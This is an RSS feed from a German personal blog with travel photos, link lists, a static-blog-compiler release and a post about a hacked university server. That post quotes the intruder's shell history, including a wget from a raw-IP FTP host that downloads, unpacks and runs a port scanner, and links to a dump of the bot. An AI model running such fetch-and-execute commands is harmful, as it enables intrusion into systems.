mecker. mecker. mecker. http://blog.posativ.org/ de Sat, 19 May 2012 10:52:00 GMT http://blog.posativ.org/rss/planet/ acrylamid 0.3.3 Impressionen aus Russland: St. Petersburg http://blog.posativ.org/2012/impressionen-aus-russland-st-petersburg/ <p>Ich war ja vor einiger Zeit™ in Russland, aber bisher nicht in der Lage, eine Bildergalerie mit <a href="http://jinja.pocoo.org/">Jinja2</a> zu basteln. Das habe ich nachgeholt und hier sind ein paar Fotos aus dem schönen St. Petersburg gegen Ende&nbsp;Februar.</p> <figure> <a href="/img/2012/st-petersburg/rest-01.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-01.JPG" width="150" height="150" alt="rest-01.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-02.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-02.JPG" width="150" height="150" alt="rest-02.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-03.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-03.JPG" width="150" height="150" alt="rest-03.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-04.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-04.JPG" width="150" height="150" alt="rest-04.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <figure> <a href="/img/2012/st-petersburg/rest-05.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-05.JPG" width="150" height="150" alt="rest-05.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-06.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-06.JPG" width="150" height="150" alt="rest-06.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-07.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-07.JPG" width="150" height="150" alt="rest-07.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-08.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-08.JPG" width="150" height="150" alt="rest-08.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <figure> <a href="/img/2012/st-petersburg/rest-09.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-09.JPG" width="150" height="150" alt="rest-09.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-10.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-10.JPG" width="150" height="150" alt="rest-10.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-11.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-11.JPG" width="150" height="150" alt="rest-11.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-12.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-12.JPG" width="150" height="150" alt="rest-12.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <figure> <a href="/img/2012/st-petersburg/rest-13.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-13.JPG" width="150" height="150" alt="rest-13.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-14.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-14.JPG" width="150" height="150" alt="rest-14.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-15.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-15.JPG" width="150" height="150" alt="rest-15.JPG"/> </a> <a href="/img/2012/st-petersburg/rest-16.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/rest-16.JPG" width="150" height="150" alt="rest-16.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <p>Ein besonderes Highlight hatten wir durch <a href="http://www.couchsurfing.org/">Couch Surfing</a>: wir konnten im Studentenwerk schlafen. Wer jetzt an geräumige Zimmer mit viel Komfort denkt, liegt falsch. Die heruntergekommen Bauten sind videoüberwacht und man darf nur als eingetragener Student überhaupt in das Haus hinein. Es teilen sich drei Menschen ein Zimmer, 40 Menschen drei Toiletten und keiner macht sauber. Internetversorgung ist <span class="caps">DIY</span>, wer sich nicht mit 40 Leuten eine 56k-Verbindung teilen will, holt sich Internet via&nbsp;Mobilfunk.</p> <p>Die Feuerleiter ist übrigens unser täglicher Eingang gewesen. Dafür ist die Gastfreundschaft armer Studenten besser als jedes&nbsp;Hotel.</p> <figure> <a href="/img/2012/st-petersburg/stw_2537.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2537.JPG" width="150" height="150" alt="stw_2537.JPG"/> </a> <a href="/img/2012/st-petersburg/stw_2541.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2541.JPG" width="150" height="150" alt="stw_2541.JPG"/> </a> <a href="/img/2012/st-petersburg/stw_2543.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2543.JPG" width="150" height="150" alt="stw_2543.JPG"/> </a> <a href="/img/2012/st-petersburg/stw_2668.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2668.JPG" width="150" height="150" alt="stw_2668.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <figure> <a href="/img/2012/st-petersburg/stw_2670.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2670.JPG" width="150" height="150" alt="stw_2670.JPG"/> </a> <a href="/img/2012/st-petersburg/stw_2687.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/stw_2687.JPG" width="150" height="150" alt="stw_2687.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <p>Neben der <a href="https://de.wikipedia.org/wiki/Kunstkamera">Kunstkamera</a> ein altes aber gutes <span class="caps">UDSSR</span>-Museum. Mit etwas Feilschen kommt man auch als Jenaer Student zum ermäßigten Tarif&nbsp;rein.</p> <figure> <a href="/img/2012/st-petersburg/natur_2592.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/natur_2592.JPG" width="150" height="150" alt="natur_2592.JPG"/> </a> <a href="/img/2012/st-petersburg/natur_2636.JPG" style="float: left; width: 25%"> <img src="/img/2012/st-petersburg/thumbs/natur_2636.JPG" width="150" height="150" alt="natur_2636.JPG"/> </a> </figure> <p><br style="clear: both"/></p> <p>Nach drei Tagen ging es mit der Eisenbahn über zwei Tage Richtung Yekaterinburg&#8230; <em>to be continued</em>.</p> Sat, 19 May 2012 10:52:00 GMT tag:blog.posativ.org,2012-05-19:/2012/impressionen-aus-russland-st-petersburg Hack'd http://blog.posativ.org/2012/qq-und-die-it-sicherheit/ <p>Letzten Mittwoch bekam ich während einer Vorlesung &#8216;ne Mail, dass das Rechenzentrum der Universität einen Hack0r-Angriff an einem unserer Rechensklaven festgestellt hat. Etwas schockiert, wie <span class="caps">DAS</span> nur mit <span class="caps">LINUX</span> passieren konnte, bin ich schnell vorbeigekommen und fand in der Tat eine Art&nbsp;&#8220;Bot&#8221;.</p> <p>Als ordentlicher Sys-Admin nutzen ich und meine Kollegin nur <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Keys und so dachte ich mir auch nichts, als ich bei der versehentlichen Deskop-Variante von Ubuntu dem Standard-Nutzer das Passwort <code>qq</code> zu geben, immerhin würde ich ja den <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Zugang auf Schlüsseldateien beschränken. Naja, dazu kam es dann doch nicht, weil sich die Biologen im Praktikum schon so schwer genug mit einer <span class="caps">UNIX</span>-Shell tun und so konnte man sich weiterhin per Passwort&nbsp;einloggen.</p> <p>So hat sich dann nach mehreren Monaten &#8211; 191 Tage um genau zu sein &#8211; doch endlich jemand gefunden und den viel, viel schwereren Nutzernamen zu obigem Passwort zu finden! Nämlich &#8220;dev&#8221;. Das ist <em>Security by Obscurity</em> vom feinsten! Der Bot war aber auch nicht der klügste. Seine Aktivitäten waren (primär Portscanning) komplett in der <em>.bash_history</em>&nbsp;nachzulesen:</p> <div class="highlight"><pre><span class="nv">$ </span>wget ftp://test:testtest@62.160.84.235/KapelaScan.tgz; tar zxvf K* <span class="nv">$ </span>rm -rf KapelaScan.tgz; <span class="nb">cd </span>kapela <span class="nv">$ </span>chmod +x * <span class="nv">$ </span>ls <span class="nv">$ </span>./a 80.236 <span class="nv">$ </span>ps x </pre></div> <p>Ein <code>rm -rf /home/dev</code> setzte dem Spuk dann ein Ende. Wer an einem <a href="/files/2012/kapela.zip">Dump</a> interessiert ist. Inklusive Passwortliste, wo auch <code>qq</code> gelistet war. Es ist also <em>wirklich</em> ein unsicheres Passwort&nbsp;:-)</p> Fri, 18 May 2012 18:37:00 GMT tag:blog.posativ.org,2012-05-18:/2012/qq-und-die-it-sicherheit Linkschleuder #23 http://blog.posativ.org/2012/linkschleuder-23/ <p>Wieder mal eine etwas umfangreicherer Auswurf zu allerlei nutzlosen bis nützlichen&nbsp;Projekten.</p> <h3>Misc</h3> <ul> <li><a href="https://github.com/myusuf3/octogit">octogit</a> – ein kleines Tool (mit <a href="https://github.com/myusuf3/octogit/pull/14">gigantischen Dependencies</a>) für Github&#8217;s Issues, das das Projekt automatisch aus dem unterliegenden Git-Repository entnimmt (und bei non-<span class="caps"><abbr title="American Standard Code for Information Interchange">ASCII</abbr></span> failt&nbsp;m).</li> <li><a href="http://dotfiles.github.com/">Github ❤ ~/</a> – <em>Your unofficial guide to dotfiles on&nbsp;GitHub.</em></li> <li><a href="http://nitrotasks.com/">Nitro</a> – ein freies Programm für das&nbsp;<span class="caps">TODO</span>-Management.</li> <li><a href="http://www.funtoo.org/wiki/Welcome">Funtoo</a> – wie der Name erwarten lässt, eine Art <a href="http://www.gentoo.org/">Gentoo</a> nur git-based, verteilter Portage Tree und vieles&nbsp;mehr.</li> <li><a href="https://github.com/sferik/t">t</a> – <em>t</em> ist Twitter für die <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>, die sich gut in die <span class="caps">UNIX</span>-Toolchain&nbsp;integriert.</li> <li><a href="http://trilandev.com/snippets/">Snippets</a> – ist eine Art static compiler (angelehnt an <a href="http://pelican.notmyidea.org/">Pelican</a>) für Code-Schnipsel, schon ganz&nbsp;hübsch.</li> <li><a href="http://casperjs.org/">CasperJS</a> – ist ein Webkit/<span class="caps">JS</span>-Framework um Browser-Interaktionen automatisiert zu&nbsp;testen.</li> <li><a href="http://codebomber.com/jquery/resizer/">Resizer</a> – <em>A responsive design bookmarklet</em> (gefunden von <a href="http://sebix.github.com/">sebix</a>), alternativ gibt&#8217;s auch <a href="http://www.benjaminkeen.com/misc/bricss/">diesen Generator</a>.</li> <li><a href="https://github.com/plaetzchen/Rezepte">Rezepte</a> – verschiedene Kochrezepte, die mit social coding auf GitHub entstanden sind&nbsp;:-)</li> <li><a href="http://www.radiotux.de/index.php?/categories/16-Binaergewitter">Binärgewitter</a> – ein Geek-Podcast und darum&nbsp;hörenswert!</li> <li><a href="http://matt.might.net/articles/programmers-resolutions/">12 resulutions for&nbsp;programmers</a></li> </ul> <h3><span class="caps">OS</span>&nbsp;X</h3> <ul> <li><a href="http://markedapp.com/">Marked</a> – eine kostenpflichtige App für <span class="caps">OS</span> X, die einfach per <a href="https://en.wikipedia.org/wiki/FSEvents">FSEvent</a> Markdown in besonders hübsch rendert. Mit eigenen Skripts kann man damit auch reStructuredText&nbsp;rendern.</li> <li><a href="http://www.omh.cc/Clyppan-Clipboard-Manager-for-the-Mac/">Clyppan</a> – die Linuxer werden sich jetzt totlachen, aber um an alte Zwischenablagen zu kommen, müssen Mac-User schon 5 €&nbsp;investieren.</li> <li><a href="http://www.klieme.com/TimeMachineScheduler.html">TimeMachineScheduler</a> – ist eine kostenlose Preference Pane, die z.B. das Backup-Intervall steuern kann (ist bug-lastig, wenn das Backup nicht immer angeschlossen ist!). Andernfalls hilft auch ein beherztes <code>sudo defaults write /System/Library/LaunchDaemons/com.apple.backupd-auto StartInterval -int 14400</code> um das Backup alle drei Stunden&nbsp;auszuführen.</li> <li><a href="http://superuser.com/questions/251969/disable-or-sleep-secondary-hard-drive-in-macbook">Disable or sleep secondary hard drive in Macbook</a> – denn nach einem <span class="caps">SSD</span>-Upgrade ist es schon recht nervig, dass die zweite <span class="caps">HDD</span> endlos&nbsp;weiterläuft.</li> </ul> <h3>Python</h3> <ul> <li><a href="http://mg.pov.lt/restview/">restview</a> – ein sehr praktischer reStructuredText Viewer, leider ohne <a href="http://sphinx.pocoo.org/">Sphinx</a>-Support.</li> <li><a href="http://pypi.python.org/pypi/cram">cram</a> – <span class="caps">BBD</span> aka Behavior Driven development für <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Tools und wird unter anderem auch von <a href="http://mercurial.selenic.com/">mercurial</a>&nbsp;genutzt.</li> <li><a href="http://home.wlu.edu/~lambertk/pythontojava/">Python to Java</a> – weil es das Studium wieder verlangt: wieviel Boilerplate brauche ich, um ein Konstrukt von Python in Java zu schreiben. Eine sehr hilfreiche&nbsp;Referenz!</li> <li><a href="https://github.com/jabapyth/codetalker">Codetalker</a> – <em>A succinct, pythonic parser + translator&nbsp;solution</em></li> <li><a href="https://github.com/toastdriven/microsearch/blob/master/microsearch.py">microsearch</a> – eine wunderbar dokumentierte Lösung für eine performante Search-Engine in&nbsp;Python.</li> <li><a href="http://www.tarind.com/depgraph.html">depgraph</a> – <em>Generating Python Module Dependency&nbsp;Graphs</em></li> <li><a href="http://projects.unbit.it/uwsgi/wiki">uWSGI</a> – ein micro-<a href="https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface"><span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span></a> Server, der einen mit seinen <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Optionen regelrecht erschlägt: <code>wsgi --help | wc -l</code> ergeben 379 Zeilen. Selbst ausgereifte Tools wie <code>wget</code> oder <code>curl</code> haben nur knapp die&nbsp;Hälfte.</li> </ul> Wed, 02 May 2012 16:59:00 GMT tag:blog.posativ.org,2012-05-02:/2012/linkschleuder-23 Linkschleuder #22 http://blog.posativ.org/2012/linkschleuder-22/ <ul> <li><a href="http://microjs.com/">Microjs</a> – Micro-Frameworks und Micro-Libraries von wenigen hundert Bytes bis drei, vier Kilobytes, die man über das Anti-Framework <a href="http://ender.no.de/">Ender</a> auch einfach zusammenbasteln&nbsp;kann.</li> <li><a href="http://shichuan.github.com/javascript-patterns/">JavaScript Patterns</a> – ist eine recht ansehnliche Sammlung über allgemeine <span class="caps">JS</span>-Patterns, Design Patterns JQuery und vieles&nbsp;mehr.</li> <li><a href="https://www.gnu.org/software/parallel/"><span class="caps">GNU</span> parallel</a> – ist ein Tool für Linux (gibt auch einen <span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span> Port), das parallele Jobs in der Shell vereinfachen soll (via <a href="http://noqqe.de/blog/2012/01/08/gnu-parallel/">Noqqe</a> mit vielen Beispielen&nbsp;dazu).</li> <li><a href="https://github.com/jonashaag/klaus">Klaus</a> – <em>a simple Git web viewer that Just&nbsp;Works™.</em></li> <li><a href="http://cream-project.org/">Cream Desktop Environment</a> – <span class="caps">GTK</span>+ nach dem <span class="caps"><abbr title="Keep it simple, stupid">KISS</abbr></span>-Prinzip. Vielleicht eine Alternative zu&nbsp;Gnome/<span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>.</li> <li><a href="http://packages.python.org/curlish/">Curlish</a> – yet another buntes&nbsp;cURL.</li> <li><a href="https://endno.de/~itsnotabigtruck/inception/">Inception</a> – für mehr Kontrolle im N9 (dessen Meego Serie ja fortgesetzt wird als low-end System). Hab&#8217; das Telefon nicht, aber Projektname und Seite gefällt mir&nbsp;sehr.</li> <li><a href="http://www.hanynet.com/icefloor/index.html">Icefloor</a> – ein Front-End für <span class="caps">IPFW</span> unter <span class="caps">OS</span> X Lion, soll aber noch nicht ganz fehlerfrei sein (via <a href="http://mycrobase.de/">cmur2</a>).</li> <li><a href="http://appdrive.net/mediathek/">Mediathek für Mac</a> – die öffentlich-rechtlichen direkt am Mac streamen, frei wie&nbsp;Freibier.</li> <li><a href="https://bazaar.launchpad.net/~divmod-dev/divmod.org/trunk/files/head:/Reverend/">Reverend</a> – ein einfacher bayesscher Filter implementiert in&nbsp;Python.</li> <li><a href="http://nedbatchelder.com/code/coverage/">coverage.py</a> – ein Python-Skript, das die Code-Nutzung nach einem Durchlauf per Text oder <span class="caps">HTML</span> Ausgabe angibt. Etwas buggy bei jinja2-Templates und allgemein fehlerbehaftet bei mir. Kann ja noch&nbsp;werden.</li> <li><a href="https://github.com/alfredodeza/konira">Konira</a> – ein Python Testing Framework mit einer <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>! Das ist die wohl erste Python-<span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span> die mir je unterkommen ist und sieht klasse aus (<a href="http://rspec.info/">rspec</a>-like)!</li> <li><a href="http://www.latextemplates.com/">LaTeX Templates</a> – qualitative (englische) LaTeX-Templates für lau (via <a href="http://www.schockwellenreiter.de/blog/2012/04/11/peters-linkschleuder-107/">Schockwellenreiter</a>).</li> <li><a href="http://adriank.redirectme.net/artikel/mobile-endgeraete-und-freie-software">mobile Engeräte und freie Software</a> – eine gute Übersicht über den aktuellen Stand freier Software auf Smartphones (nein, Android ist noch immer nicht <em>frei</em>) und Tablets. Sieht mau&nbsp;aus.</li> <li><a href="http://www.boston.com/bostonglobe/ideas/naps/">How to nap</a> – jetzt &#8216;mal was ganz anderes: Nickerchen von ca. 20-45 Minuten sollen die Leistungsfähigkeit am Abend enorm&nbsp;erhöhen.</li> </ul> <p>Ich hoffe, es ist für jeden &#8216;was&nbsp;dabei.</p> Thu, 12 Apr 2012 11:02:00 GMT tag:blog.posativ.org,2012-04-12:/2012/linkschleuder-22 Acrylamid 0.3 – yet another static blog compiler http://blog.posativ.org/2012/acrylamid-0-3-yet-another-static-blog-compiler/ <p>Ich freue mich, heute <em>endlich</em> Version 0.3 meines statischen Blog-Compilers <em>&#8220;Acrylamid&#8221;</em> zu veröffentlichen (ehemals <a href="http://blog.posativ.org/2011/lilith-yet-another-blog-rewrite/">lilith</a>). Einiges getan, so nutze ich <span class="caps">HTML5</span> als Layout-Grundlage, habe eine neue <a href="http://blog.posativ.org/articles/">Artikel-Ansicht</a> und allerlei Detailverbesserungen im System selbst, ein kurzer&nbsp;Auszug:</p> <ul> <li>full-featured Blog mit Index, Full-Entry, Artikel und Tags (WordPress halt) in statische Seiten&nbsp;gebacken.</li> <li>typographische Feinheiten, MathML und Silbentrennung für diverse&nbsp;Sprachen</li> <li><span class="caps">RSS</span>-Import, Autokompilierung bei Änderungen,&nbsp;Deployment</li> <li>einen Jinja2-Filter mit dem man Jinja2 in Einträgen schreiben kann, denn I <span class="caps">HERD</span> U <span class="caps">LIEK</span> <span class="caps">JINJA2</span> <span class="caps">SO</span> I <span class="caps">PUT</span> A <span class="caps">JINJA2</span> <span class="caps">IN</span> <span class="caps">UR</span> <span class="caps">JINJA2</span> <span class="caps">SO</span> U <span class="caps">CAN</span> <span class="caps">WRITE</span> <span class="caps">TEMPLATES</span> <span class="caps">WHILE</span> U <span class="caps">WRITE</span>&nbsp;<span class="caps">TEMPLATES</span></li> <li>Aufräumen von verwaisten Dateien im&nbsp;Ausgabe-Verzeichnis</li> <li>überarbeitete <span class="caps"><abbr title="Application programming interface">API</abbr></span> ähnlich zur <a href="http://pelican.notmyidea.org/en/2.8/internals.html">Pelican</a>-<span class="caps"><abbr title="Application programming interface">API</abbr></span></li> <li>einen portierten Acronym-Filter, der automatisch <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>, <span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span> und <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span> dem weniger versierten Nutzer kurz&nbsp;erläutert</li> </ul> <p>Erwähnenswert ist übrigens die Ausführung von <span class="caps">UNIX</span>-Skripten direkt im Eintrag <a href="https://github.com/posativ/blog.posativ.org/blob/master/content/2012/acrylamid-0.3.txt">acrylamid-0.3.txt</a>:</p> <div class="highlight"><pre><span class="gp">$</span>&gt; ls -l <span class="go">total 2240</span> <span class="go">-rw-r--r-- 1 ich staff 543 Mai 7 19:57 <span class="caps">README</span>.md</span> <span class="go">-rw-r--r-- 1 ich staff 1657 Mai 8 23:02 conf.py</span> <span class="go">drwxr-xr-x 8 ich staff 272 Mai 2 15:01 content</span> <span class="go">drwxr-xr-x 2 ich staff 68 Apr 11 22:07 filters</span> <span class="go">drwxr-xr-x 8 ich staff 272 Mai 8 23:04 layouts</span> <span class="go">-rw-r--r-- 1 ich staff 849641 Mai 12 14:54 out.png</span> <span class="go">drwxr-xr-x 29 ich staff 986 Mai 12 18:03 output</span> <span class="go">-rw-r--r-- 1 ich staff 1433175 Mai 12 14:54 pstats</span> <span class="gp">$</span>&gt; find content | wc -l <span class="go">175</span> <span class="gp">$</span>&gt; git log -3 --no-color --oneline <span class="go">390a2b0 fix typos, escaping and remove search</span> <span class="go">10c99c0 remove previous atom-feed sitemap</span> <span class="go">60e4128 update + sitemap.xml</span> </pre></div> <h3>Interna</h3> <p>Das Wichtigste ist eigentlich das System für das Tracken von Änderungen im Content oder Layout auf dem Dateisystems. So müssen bei mehreren Durchläufen nur bestimmte Einträge neu gerendert werden, bei Layout-Änderungen kann sogar komplett auf den Cache zurückgegriffen werden. Dadurch reduziert sich die Rechenzeit von ehemals 45 Sekunden auf ungefähr eine Sekunde, wenn ich einen neuen Eintrag schreibe &#8211; inklusive Änderung der&nbsp;Tag/<span class="caps">RSS</span>/Index-Ansichten.</p> <p><a href="https://github.com/posativ/acrylamid">Acrylamid</a> nutzt dafür tolle <a href="http://jinja.pocoo.org/docs/api/#the-meta-api">Jinja2-Magie</a> um nur gezielt alle von den Änderungen am Template betroffenen Seiten neu zu rendern. Für die einzelnen Filter, die individuell pro Eintrag und Ansicht angewendet werden können, nutze ich ein komplexes System aus verzögerter Ausführung und Zurückführung auf gemeinsame Filter, sodass Ansichten wie bsw. <span class="caps">RSS</span> ohne Silbentrennung und Zusammenfassung und eine Index-Ansicht mit Silbentrennung und Zusammenfassung dennoch das gemeinsame Markdown-Intermediat nutzen, womit jede zusätzliche Ansicht ohne merkliche Erhöhung der Rechenzeit gerendert werden&nbsp;kann.</p> <h3>Weltherrschaftsplan</h3> <p>Leider hat es mit <a href="http://blog.posativ.org/2011/lilith-der-plan-zur-weltherrschaft/">der Dominierung</a> noch nicht so ganz geklappt, die Suchfunktion ist mit dem <span class="caps">HTML5</span>-Layout wieder einmal unfunktional (ja ich hatte zwischenzeitlich eine statische Suche) und ich habe immer noch keine merkliche Unterstützung für Assets. Ich möchte auch testen inwiefern sich Acrylamid für große Blogs mit vielen hundert Einträgen eignet. Derzeit rennt er mir bei ca. 160 Einträgen in unter einer Sekunde durch, wenn es nichts zu tun&nbsp;gibt.</p> <p>Acrylamid ist unter der revised <span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span>-Lizenz lizensiert und wird auf <a href="http://blog.posativ.org/2011/lilith-yet-another-blog-rewrite/">GitHub</a> aktiv von mir entwickelt. Über Feedback freue ich&nbsp;mich!</p> Sun, 01 Apr 2012 22:42:00 GMT tag:blog.posativ.org,2012-04-02:/2012/acrylamid-0-3-yet-another-static-blog-compiler Linkschleuder #21 http://blog.posativ.org/2012/linkschleuder-21/ <ul> <li><a href="http://gitcasts.com/">GitCasts</a> – kostenfreie Screencasts über Git über Rebasing, Branching&nbsp;etc.</li> <li><a href="https://www.destroyallsoftware.com/screencasts">Destroy All Software</a> – kurze, schnelle (kommerzielle) Screencasts mit vielen kleinen Details über Ruby, <span class="caps">UNIX</span> und Vim.&nbsp;Empfehlenswert!</li> <li><a href="http://cytoplasm.somethingsido.com/">Cytoplasm</a> – static blogging in Python mit gigantischer Dokumentation, aber komplizierter Konfiguration. Wäre ein Blick&nbsp;wert.</li> <li><a href="https://github.com/cmur2/wcc">Web Change Checker</a> – ist ein mächtiges Toolkit um sich über Änderung auf Webseiten per Email, <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span> oder <span class="caps">RSS</span> auf dem Laufenden zu halten. Überaus&nbsp;nützlich!</li> <li><a href="http://www.pcre.org/"><span class="caps">PCRE</span></a> – einmal pro Jahr wünsche ich mir mit <code>grep</code> multiline zu suchen und ich finde heraus, dass das nicht funktioniert. Mit <span class="caps">PCRE</span> soll das wohl funktionieren, wenn auch mit merkwürdigen&nbsp;<span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Flags.</li> <li><a href="http://metaquark.de/appfresh/mac">AppFresh</a> – ist ein ganz nettes Pendant zu <a href="https://secunia.com/vulnerability_scanning/personal/">Secunias <span class="caps">PSI</span></a> für Windows und hat mich auf manche Updates&nbsp;hingewiesen.</li> <li><a href="http://vagrantup.com/?v1">Vagrant</a> – <em>Virtualized development made&nbsp;easy.</em> </li> <li><a href="http://codeascraft.etsy.com/2011/02/15/measure-anything-measure-everything/">Measure Anything, Measure Everything</a> – viele und schöne Statistiken, war mir ein Blogmark&nbsp;wert.</li> <li><a href="https://code.google.com/p/jrfonseca/wiki/Gprof2Dot">Gprof2Dot</a> – verwandelt Profiling Daten von Python, Java etc. pp. in einen gigantischen Graphen aus prozentualer Rechenzeit. <a href="/img/2012/gprof2dot.png">Sieht fantastisch</a>&nbsp;aus!</li> <li><a href="http://jimmyg.org/blog/2009/python-command-line-interface-%28cli%29-with-sub-commands.html">Writing a Python Command Line Interface with Sub-Commands</a>, hat mir einen guten Denkanstoß gegeben Python&#8217;s (deprecated) <code>optparse</code> nicht so verkrampft zu nutzen, sondern einfach Flags parsen&nbsp;lassen.</li> </ul> Sun, 01 Apr 2012 18:41:00 GMT tag:blog.posativ.org,2012-04-01:/2012/linkschleuder-21 Linkschleuder #20 http://blog.posativ.org/2012/linkschleuder-20/ <p>Und hier die Fortsetzung der <a href="/2012/linkschleuder-19/">19</a>, alles was ungleich <span class="caps">OS</span> X&nbsp;ist:</p> <h3>Web, Programming <span class="amp">&amp;</span>&nbsp;Python</h3> <ul> <li><a href="http://raveraverave.co.uk/site/scripts/com.php">comment_rave</a> – ein freies Kommentarsystem auf <span class="caps">PHP</span>-Basis. Will ich schon seit <em>Jahren</em>&nbsp;testen!</li> <li><a href="http://www.asciiflow.com/">Asciiflow</a> – ein <span class="caps"><abbr title="American Standard Code for Information Interchange">ASCII</abbr></span> Flow Diagramm Werkzeug im&nbsp;Browser.</li> <li><a href="https://github.com/rstacruz/sparkup">Sparkup</a> – Yet another <span class="caps">HTML</span> Präprozessor, der einen <span class="caps">HTML</span> schneller schreiben lässt. Mit <a href="http://www.youtube.com/watch?v=Jw3jipcenKc">Video-Beweis</a>!1</li> <li><a href="http://pycoders.us4.list-manage.com/subscribe?u=9735795484d2e4c204da82a29&amp;id=64134e0a27">Pycoder&#8217;s Weekly</a> – eine privacy-unaware (?) Liste, die wöchentlich (manchmal wirklich) interessante Links rund um Python verschickt. Blöd ist, dass die Mail im Browser besser weitaus aussieht und außerdem keine echten Links gesetzt&nbsp;werden.</li> <li><a href="http://www.rafekettler.com/magicmethods.html">A Guide to Python&#8217;s Magic Methods</a> – und der Vollständigkeit halber gleich noch das Python <a href="http://docs.python.org/reference/datamodel.html">Data model</a>.</li> <li><a href="https://code.google.com/p/pyp/">pyp</a> – eine Python-Werkzeug für das on-the-fly Pipen in Shells mit builtin-Helpers und&nbsp;so.</li> <li><a href="https://github.com/stochastic-technologies/goatfish">goatfish</a> – eine Python Library, das schemaloses <span class="caps"><abbr title="Object-Relational Mapping">ORM</abbr></span> in eine SQLite pumpt. Vielleicht ein Fallback, wenn es keine große NoSQL-Datenbank&nbsp;gibt.</li> <li><a href="http://v1v3kn.tumblr.com/post/18238156967/roll-your-own-autocomplete-solution-using-tries">Tries</a> – <em>Roll your own autocomplete solution using&nbsp;Tries.</em></li> <li><a href="http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html">A Note About Git Commit Messages</a> – wie man <em>gute</em> Commit Nachrichten schreibt. Brachte mich vom past tense zum present&nbsp;tense.</li> <li><a href="http://help.github.com/line-endings/">Line endings</a> – <em>Mac and Linux users, you don’t get to sit this one&nbsp;out.</em></li> </ul> <h3>Linux/Unix-Zeug</h3> <ul> <li><a href="http://openbook.galileocomputing.de/linux/">Linux. Das umfassende Handbuch</a> – ein weiteres \&lt;openbook> von Galileo Computing in der neusten Auflage (via <a href="http://www.schockwellenreiter.de/blog/2012/02/14/lesefutter-fur-klamme-geldborsen/">Schockwellenreiter</a>).</li> <li><a href="http://sourceforge.net/projects/suicide-linux/">Suicide-Linux</a> – <em>Encourages users not to misspell commands</em>, (die User Reviews sind auch sehr gut&nbsp;;-)</li> <li><a href="http://www.huyng.com/bashmarks-directory-bookmarks-for-the-shell/">bashmarks</a> – <em>directory bookmarks for the&nbsp;shell.</em></li> <li><a href="http://www.corntab.com/pages/crontab-gui">crontab-gui</a> – <em>A visual crontab&nbsp;utility.</em></li> <li><a href="http://oss.oetiker.ch/smokeping/">SmokePing</a> – ein Tool, das die Netzwerk-Latenz misst und in eine <span class="caps">RDD</span> schreibt. <a href="http://blog.koehntopp.de/uploads/graph-noch-besser.png">Sieht echt gut aus</a>!</li> <li><a href="http://www.openwall.com/john/">john</a> – ist eigentlich ein Passwort-Cracker, kann aber auch (limitiert) Wortlisten erstellen. Aber nicht so gut wie <code>crunch</code>.</li> <li><a href="http://sourceforge.net/projects/crunch-wordlist/">crunch</a> – ein Wortlisten-Generator, der aus einem Charsets alle Permutationen bestimmter Länge und Komplexität erstellt. Eignet sich prima für 